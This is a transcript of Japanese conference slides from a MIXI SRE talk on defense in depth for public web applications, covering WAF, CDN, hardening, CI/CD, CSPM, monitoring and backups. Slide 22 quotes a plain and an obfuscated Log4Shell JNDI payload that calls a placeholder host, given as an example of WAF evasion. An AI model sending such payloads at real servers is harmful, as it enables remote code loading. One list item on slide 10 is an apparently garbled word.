増え続ける公開アプリケーションへの悪意あるアクセス_多層防御を取り入れるSRE活動_.pdf

2023年9月29日開催 SRE NEXT 2023 で登壇した資料を公開します。
https://sre-next.dev/2023/

あるWebセキュリティ情報メディアのレポートによると全世界で平均して1ホストあたり17回/秒のサイバー攻撃を検知しているそうです。
これは2022年のデータですが、おそらく2023年には増加していると予想します。
インターネットでアプリケーションを公開することはサイバー攻撃を受ける危険性と隣り合わせです。
自社の公開アプリケーションを守るためのSRE活動は何でしょうか？
実際に経験した事実を基にしたフィクションという体でサイバー攻撃への対策を紹介します。

Transcript

1. ©MIXI
   増え続ける公開アプリケーション
   への悪意あるアクセス。
   多層防御を取り入れるSRE活動。
   2023/09/29
   開発本部CTO室SREグループ
   吉井 亮
   

   View Slide

2. ©MIXI
   2
   自己紹介
   吉井 亮 (YOSHII RYO)
   ● 経歴
   HWエンジニア → 中小SIer → ERPコンサル → AWS パートナー
   → 株式会社MIXI
   ● Community
   OpsJAWS (AWS Community Builder)
   ● 好きな言葉
   No human labor is no human error.
   Follow Me
   https://my.prairie.cards/u/YoshiiRyo1
   

   View Slide

3. ©MIXI
   3
   ご参加いただきありがとうございます
   ❏ 話すこと
   ❏ 公開 Web アプリケーションのセキュリティ対策
   ❏ 担当者として備えておくべきこと
   ❏ 話さないこと
   ❏ 具体的な設定や手順
   ❏ 特定製品の紹介や宣伝
   ※ 本セッションで紹介するシステムは架空のものです。
   発表者の実体験に基づいていますが、実在はしません。
   

   View Slide

4. ©MIXI
   4
   サイバー攻撃の脅威
   株式会社サイバーセキュリティクラウド社のレポートによると、
   サイバー攻撃は年々大幅な増加傾向にあると記されています。
   • 1秒間に17回もの攻撃を検知。
   • 攻撃元IPは1位がアメリカで49％、2位は日本国内からで20％に。
   • 攻撃種別として最も多かったのは、Webサーバを構成するソフトウェアの脆弱性に対して無差別に
   行われる単純攻撃の“Web attack”が全体のおよそ44%。引き続き“SQL injection”も顕在してお
   り増加傾向。
   https://prtimes.jp/main/html/rd/p/000000316.000009107.html
   

   View Slide

5. ©MIXI
   5
   Top 10 Web Application Security Risks
   OWASP TOP 10 https://owasp.org/www-project-top-ten/
   Broken Access Control
   アクセス制御ポリシー設定のミス
   Cryptographic-Failures
   暗号化の欠落、不適切な使用
   Injection
   データ入力検証、受け取り方式の不備
   Insecure Desgin
   設計やアーキテクチャの欠陥
   Security Misconfigration
   アプリケーションの設定ミス、古いバージョン
   Vulnerable and Outdated Components
   脆弱なコンポーネント、依存関係も含む
   Identification and Authentication Failures
   弱い認証認可
   Software and Data Integrity Failures
   意図しないソースからコード/データ取得
   Security Logging and Monitoring Failures
   攻撃を検知できない
   Server-Side Request Forgery
   リモートソース取得の際の検証不備
   

   View Slide

6. ©MIXI
   6
   NIST Cybersecurity Framework Ver. 1.1
   IDENTIFY
   サイバーセキュリティリスクの管理に必要な理解を深める
   PROTECT
   適切な保護対策を検討し、実施する
   DETECT
   サイバーセキュリティイベントのタイムリーな発見
   RESPOND
   対処するための適切な対策を検討し、実施する
   RECOVER
   機能やサービスを元に戻すための適切な対策を検討し、実施する
   https://www.nist.gov/cyberframework
   

   View Slide

7. ©MIXI
   7
   S Security
   R Reliability
   E Engineering
   

   View Slide

8. ©MIXI
   本題
   

   View Slide

9. ©MIXI
   9
   今日の合言葉
   城の中の王様を守る
   

   View Slide

10. ©MIXI
    10
    多層防御
    城の中の王様を守る
    一つセキュリティ対策だけで満足せずに全てのレイヤーで防御策を講じることをお勧めします。
    • アプセトネデブ
    • エッジ (L7、L4)
    • サーバー (サービスを提供するものの意味、物理、仮想、サーバーレス、コンテナ問わず)
    • DB、キャッシュストア
    • コード、CI/CD パイプライン
    • CSPM（Cloud Security Posture Management）
    • 管理アクセス
    • 物理的
    

    View Slide

11. ©MIXI
    11
    多層防御
    城の中の王様を守る
    全てのドメインで対策を講じることをお勧めします。
    • サービス ドメイン
    • クラウドアカウント、IAM パーミッション、リソースメタデータ、ビリング、その他
    • インフラストラクチャ ドメイン
    • コンピュート上のプロセスやデータ
    • ネットワーク関連のアクティビティ
    • アプリケーション ドメイン
    • アプリケーションまたはコード
    

    View Slide

12. ©MIXI
    12
    多層防御
    Registry
    DB
    Apps
    LB WAF
    WAF
    CDN
    Static
    Contents
    CSPM
    VCS
    Deploy
    Build
    CI/CD Pipeline
    監視通知
    Backup
    善良なユーザー
    悪意のある
    アタック
    Administrator
    Developer
    

    View Slide

13. ©MIXI
    13
    エッジ
    Registry
    DB
    Apps
    LB WAF
    WAF
    CDN
    Static
    Contents
    CSPM
    Deploy
    Build
    CI/CD Pipeline
    監視通知
    Backup
    善良なユーザー
    悪意のある
    アタック
    Administrator
    Developer
    VCS
    

    View Slide

14. ©MIXI
    14
    エッジ
    Distributed Denial of Service Attack 対策 （DDoS、分散型サービス拒否攻撃）
    ● L3/L4
    ○ クラウドベンダーが標準機能でブロック
    ● L7
    ○ WAF
    ○ CDN
    ● WAF
    ○ Rate-based
    ○ IP reputation list, Deny list
    ○ Rules, Intelligent threat mitigation
    ○ 有償の高機能サービス
    

    View Slide

15. ©MIXI
    15
    エッジ
    Distributed Denial of Service Attack 対策 （DDoS、分散型サービス拒否攻撃）
    ● CDN
    ○ 一般的に POP が多く DDoS の悪影響を分散できる
    ○ TCP 接続を開いたままにしたり、極端に遅い接続を自動的に遮断
    ○ 地理的制限
    ● 負荷分散、オートスケール
    ○ 想定していないアクセス増を捌くアーキテクチャ
    ○ エッジというよりオリジンの話
    

    View Slide

16. ©MIXI
    16
    エッジ
    Exploits 対策
    ● WAF の利用
    ○ ベンダー提供のマネージドルール、自身で管理するカスタムルール
    ○ ログを保管
    ○ 最初は検出モードでスタート
    ■ ログを確認しながら過検知誤検知が無いことを確認する
    ■ 過検知誤検知が無ければ防御モードへ変更
    ■ 過検知誤検知があれば除外設定やカスタムルールを駆使してそれらを減らしながら防御モードへ
    ○ ログの確認、除外設定、カスタムルールのアップデートは定期的に実施する
    

    View Slide

17. ©MIXI
    17
    エッジ
    一般的なセキュリティ対策
    ● HTTPS 強制
    ○ かつ、古い TLS バージョンは許可しない
    ● セキュリティヘッダーの追加
    ○ Strict-Transport-Security, Content-Security-Policy, X-Content-Security-Policy,
    X-Frame-Options, X-XSS-Protection
    ● オリジンの秘匿
    ○ 直接オリジンへアクセスさせない
    

    View Slide

18. ©MIXI
    18
    エッジ
    悪意のある攻撃に対して 403 を返すことが大切です。
    1. 無作為攻撃で穴を探してくる
    2. 穴が見つかったらその穴に対して様々な攻撃をしかけてくる
    3. その穴に対して複数 IP アドレスから攻撃がくる
    a. 弱いサイトを共有してる？
    b. ツールを使って複数の拠点から攻撃してる？
    一方で、403 を返すと攻撃が減ります。
    毎日毎時毎分のように仕掛けられていたサイトを対策したら、パタっと攻撃が止まったことがあります。
    

    View Slide

19. ©MIXI
    19
    Apps
    Registry
    DB
    Apps
    LB WAF
    WAF
    CDN
    Static
    Contents
    CSPM
    Deploy
    Build
    CI/CD Pipeline
    監視通知
    Backup
    善良なユーザー
    悪意のある
    アタック
    Administrator
    Developer
    VCS
    

    View Slide

20. ©MIXI
    20
    アプリケーションをホストから分離
    ● VM
    ○ 不要なミドルウェアのアンインストール
    ○ 不要なサービス、デーモン、プロセスの停止
    ○ ハードニングしたマシンイメージの使用
    ● コンテナ
    ○ H/W、OS 層をサンドボックス化
    ○ 非特権モードで稼働
    ○ ReadOnly Root-Filesystem
    ● サーバーレス、FaaS
    ○ コード以外のセキュリティ対策をクラウドベンダーへオフロード
    

    View Slide

21. ©MIXI
    21
    DB は最重要
    ● 機密情報は DB に保管
    ○ ログに出力しない
    ● アクセス権を限定
    ○ アプリの DB ユーザー → アプリで必要なテーブルのみ
    ○ 管理者アクセス → 接続元の限定、GUI 便利ツールの利用は避ける
    ● バックアップ・リストア
    ○ DB ダンプやスナップショットのアクセス権を厳格に
    ● クレデンシャルは強度の高いパラメータストアへ
    ○ コードに書くのはもってのほか
    ○ ini ファイルもありえない
    

    View Slide

22. ©MIXI
    22
    WAF があれば大丈夫？
    WAF を前段に設置していても、アプリケーションの根本的な脆弱性対策はすべき。
    ● WAF が攻撃の100%を防ぐことはできない
    ○ 難読化
    ■ ${jndi:ldap://hogehoge}
    ■ ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}da${lower:p}}://hogehoge}
    ○ ゼロデイ
    ● WAF の誤検知・過検知はある
    ○ アプリケーションから見ると正当なリクエストでも WAF ルールで検出されてしまう
    ■ 除外ルールで回避、しかしここを突かれる
    ○ マネージドルールの良い面でもあるし悪い面でもある
    

    View Slide

23. ©MIXI
    23
    最新バージョンの利用
    OS、ミドルウェアは常に最新バージョンを利用します。
    ここでもコンテナ、サーバーレスの優位性が発揮されます。
    ● 前提としてミドルウェアの特定バージョンに縛られないコード
    ● Dockerfile FROM
    ○ セキュリティパッチが適用されたイメージを使用
    ● サーバーレス、FaaS
    ○ ランタイムバージョンの最新化
    

    View Slide

24. ©MIXI
    24
    パイプライン
    Registry
    DB
    Apps
    LB WAF
    WAF
    CDN
    Static
    Contents
    CSPM
    Deploy
    Build
    CI/CD Pipeline
    監視通知
    Backup
    善良なユーザー
    悪意のある
    アタック
    Administrator
    Developer
    VCS
    

    View Slide

25. ©MIXI
    25
    Shift Left, Security by Design
    ソフトウェア開発ライフサイクルの早い段階でセキュリティ問題に対処。
    • Sec チームのレビュー
    • 自動的な SAST、DAST
    • 定期的なペネトレーションテスト、セキュリティテスト
    • 開発者を含めた勉強会
    設計 開発 テスト リリース
    従来
    

    View Slide

26. ©MIXI
    26
    その他
    Registry
    DB
    Apps
    LB WAF
    WAF
    CDN
    Static
    Contents
    CSPM
    Deploy
    Build
    CI/CD Pipeline
    監視通知
    Backup
    善良なユーザー
    悪意のある
    アタック
    Administrator
    Developer
    VCS
    

    View Slide

27. ©MIXI
    27
    人的ミス
    実際にあった（かもしれない）怖い話
    • DocumentRoot で git clone
    • wp-config.php が野晒し
    • Public Repo に認証情報
    • Self-host Git 系サーバーの古いバージョンを使い続けて脆弱性を突かれる
    • RDP/SSH ポートは全世界公開
    • メンバー交代が年1回あるから ID/パスワードは共用
    • 「いつか使うかもしれない Admin ユーザー」が2年以上未ログイン
    • P@ssw0rd
    

    View Slide

28. ©MIXI
    28
    CSPM (Cloud Security Posture Management)
    クラウドサービスの各種設定がセキュアであることの管理。
    セキュリティリスクとなりうる設定を早期に発見し修正します。
    ● クラウドベンダーが提供するもの
    ● セキュリティベンダーが提供するもの
    ● 自身で独自ルールを作り運用することも可能
    ● NIST、CIS、PCI-DSS などのフレームワークに準拠していると良い
    ● 自動復旧までセットで導入したい
    ○ 例）特定のポートを開けてしまった → セキュリティグループ閉じる
    

    View Slide

29. ©MIXI
    29
    モニタリング
    攻撃されていることに気が付かないような事態は避けたいところです。
    異変を察知し迅速な対応がとれるよう恒常的なモニタリングを行います。
    ● 利用料金の異常な増加
    ○ 乗っ取られて高価なインスタンス使われていないか？
    ● Cloud API 利用の異常な増加
    ● パブリックな設定変更
    ● 大量のログイン試行
    

    View Slide

30. ©MIXI
    30
    ロギング
    フォレンジック調査のためにセキュリティイベントは悪意あるなしにロギングします。
    ● アプリケーションアクセスログ
    ● エッジアクセスログ
    ● WAF ログ
    ● DB 監査ログ
    ● Cloud API 監査ログ
    

    View Slide

31. ©MIXI
    31
    正常な状態にすぐ戻せる
    もし万が一、悪意のある攻撃を受けてしまい、リソースが乗っ取り/侵害された場合、
    即時の復旧を達成するためにバックアップを定期的かつ高頻度で取得しておきます。
    一度侵害されたリソースはその原因と思わしきプロセス/ファイル/データを取り除いたとしても
    使い続けるべきではありません。
    侵害される前にリストアし対策を施してから運用に戻します。
    

    View Slide

32. ©MIXI
    

    View Slide